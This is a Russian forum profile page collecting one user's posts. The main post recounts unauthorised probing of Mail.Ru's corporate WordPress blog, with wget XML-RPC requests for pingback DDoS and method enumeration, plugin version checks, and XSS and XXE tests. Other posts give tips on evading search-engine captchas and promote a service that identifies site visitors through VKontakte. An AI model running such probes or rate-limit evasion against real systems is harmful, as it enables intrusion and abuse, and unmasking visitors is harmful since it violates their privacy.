SocFishing

SocFishing
Рейтинг
118
Регистрация
26.09.2013
Должность
null
Интересы
null
null

Небольшие исследования этой новости.

На днях интересовался, а что из себя представляет Mail.Ru, какими интересными возможностями располагает. Полистав страницы с сервисами, забрел на данный корпоративный блог. К моему удивлению заметил, что блог реализован на WordPress.

На WordPress! Неправда ли странно?!

Сразу вспомнились недавние новости про xmlrpc ddos 🙄 и проскочила мысль, а может быть мне есть что отписать службе безопасности мэйла. Сразу скажу, никоим образом не занимаюсь исследованиями в области безопасности и не практикую, но по профессиональным интересам могу чем-нибудь пригодиться.

Приступаем к поиску:

Для начала определил версию движка, сделав запрос к http://corp.mail.ru/blog/feed/

результатом показалась лента с заветной строчкой «<generator>http://wordpress.org/?v=3.9</generator>»

Дальше проверил доступность

http://corp.mail.ru/blog/wp-login.php - 403 Forbidden

http://corp.mail.ru/blog/wp-admin - 403 Forbidden

Директории авторизации подшаманены.

Ну и проверил xmlrpc pingback.ping, может быть можно кого-то мейлом поддосить

wget —post-data='
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://www.asite.ru/?p=12</string></value></param>
<param><value><string>http://www.bsite.com/?p=13</string></value></param>
</params>
</methodCall>' http://corp.mail.ru/blog/xmlrpc.php

Результат отрицательный, так как версия движка обновлена. Печаль.

Далее проверил, может что-то установлено из уязвимых плагинов

wget --post-data='<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>system.listMethods</methodName><params/></methodCall>' http://corp.mail.ru/blog/xmlrpc.php
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>ngg.deleteAlbum</string></value>
<value><string>ngg.editAlbum</string></value>
<value><string>ngg.newAlbum</string></value>
<value><string>ngg.getAlbums</string></value>
<value><string>ngg.getAlbum</string></value>
<value><string>ngg.deleteGallery</string></value>
<value><string>ngg.editGallery</string></value>
<value><string>ngg.newGallery</string></value>
<value><string>ngg.getGalleries</string></value>
<value><string>ngg.getGallery</string></value>
<value><string>ngg.deleteImage</string></value>
<value><string>ngg.editImage</string></value>
<value><string>ngg.uploadImage</string></value>
<value><string>ngg.getImages</string></value>
<value><string>ngg.getImage</string></value>
<value><string>ngg.installed</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>

Заинтересовал плагин nextgen-gallery. Выясняем его версию

wget --post-data='<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>ngg.installed</methodName><params/></methodCall>' http://corp.mail.ru/blog/xmlrpc.php

Версия nextgen-gallery 1.9.8, бегло гуглю уязвимости — пусто. Встречается лишь XSS в более старой версии. Проверяю ее — отрицательно. Качаю плагин данной версии и пробую найти какое-то узкое место. Все без результатно, по ходу узнаю корень размещения сайта.

Ищу эксплоиты на wp-polls 2.63 , Easy FancyBox 1.5.5, без результатов.

на этом все :(

Проверил какие типы файлов можно заатачить.

https://af.attachmail.ru/cgi-bin/readmsg?rid=3076465087382274854137057249584159875065&id=13981129980000000645%3B0%3B1&bs=1938&bl=152&ct=xml&cn=dd3.xml&cte=base64

binary

<script>alert('XSS')</script>

------CE32hK3W-rUL06fcnBsErcdum:1398112997--

Где &ct=xml - тип документа, MIME-types

ничего активного загрузить не смог, попробовал несколько вариантов XXE - не прошло.

Окончательно расстроился :p

Может нагрузка выросла? сложно сказать. На скорость может влиять какие-то ошибки или нагрузка.

Выставите метатег. Документ будет кэшироваться, даже если и не должен, вроде бы, при обычных обстоятельствах.

<meta http-equiv="Cache-Control" content="public">

Метрика палит заходы и длительность на Вашем сайте. Скорее всего она поняла, что не обосновано Вам давать ТОП-10 за столько отказов и не тематическую аудиторию. По этой причине метрика не для всех, только если сайт где-то внизу или где посещалка и активность большая.

Если продвигаетесь через социалки, то метрику лучше не размещать на сайте. Так же лучше поступить, если идет какого-то рода нарутка.. пусть яндекс учитывает только ссылки и соц активность, этого хватит для выхода в топ.

Имхо. Не надо забывать, что счетчики собирают вашу реальную посещалку и ее качество. В других случаях они этого сделать не могут.

MyDragon:
ТС надо было еще на Хабре тему создать)))

На хабре нашу статью не добавили, по всей видимости это бы качнуло репутацию. Думаю там все проплачено 😂

Премию за пойманную дичь так и не выплатили?

Нет, потому что они якобы знали об этой уязвимости. Хотя Зал славы пуст за апрель.

Для всех, нужно вначале спрашивать, есть ли у них уязвимости, а потом писать им о них ☝

А все ли способы защищены капчей? Могу привести пример не совсем поисковой, но есть лазейки и поисковые. Проверено, что 300 элементарных запросов разом не идут под капчу.

http://yaca.yandex.ru/yca?text=пластиковые+окна

А насчет гугла, есть совсем халява, а есть сайты-партнеры типа

http://www.ask.com/web?q=пластиковые+окна

где лимиты - 10.000 запросов, если долбить. Огромная экономия на прокси. Таких партнеров можно с десяток найти.

Отключите отзывы и включите что-то типа http://hypercomments.com/ru (комментарии через соц. сети). Так будет видно кто пишет.

Или а страницу с отзывами вы можете подключить http://socfishing.ru - бесплатно 7 дней, и будете знать, кто оставляет вам комментарии, если человек зарегистрирован Вконтакте.

Я бы еще расценки skype и voip посмотрел, так как можно что-то более бюджетное подобрать с прямым номером.

8-800 связь не из дешевых, нужно платить.

Maksimilian:
Закрыли или нет ?

Да. Закрыли. Теперь преобразует специальные символы в HTML-сущности.

Какова область применения скрипта. Защита от взломов?

Как я понял идет сверка хеш-сумм файлов или все же размеров? Если есть сверка хеш-сумм то как вариант куда-то подавать их на обработку, например на поиск по базе вирусных хешей.

Неплохой скрипт в данном исполнении можно посмотреть тут http://www.revisium.com/ai/

Так же под вопросом, а как быть, если уже есть место заражению. Ведь проблемы образуются по факту, когда уже поздно.

Для пущей безопасности набросал пример

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
$(document).ready(function () {
$("p").each(function(index, value){
var ztext = $("p").eq(index).html();
this.innerHTML = "<noindex><nop>"+ztext+"</nop></noindex>";
});
});
</script>
</head>
<body>
<p>SocFishing расскажет вам о потенциальных клиентах все, что нужно для осуществления дополнительных продаж и улучшения сервиса</p>
<p>В условиях высокой конкуренции знать клиента в лицо становится важным. SocFishing обеспечит вас необходимыми данными для организации клиентского сервиса высокого уровня. Сервис найдет посетителя вашего сайта во Вконтакте и предоставит всю необходимую информацию для работы с ним.</p>
</body>
</html>

Посмотреть, http://jsfiddle.net/CAYS4/

Мне кажется, у Вас все нормально, просто не задан дескрипшен.

<meta name="DESCRIPTION" content="отличный сайт">

А как известно без него поисковик берет текст в снипет из статьи, возможно даже с <noindex>.

Всего: 1070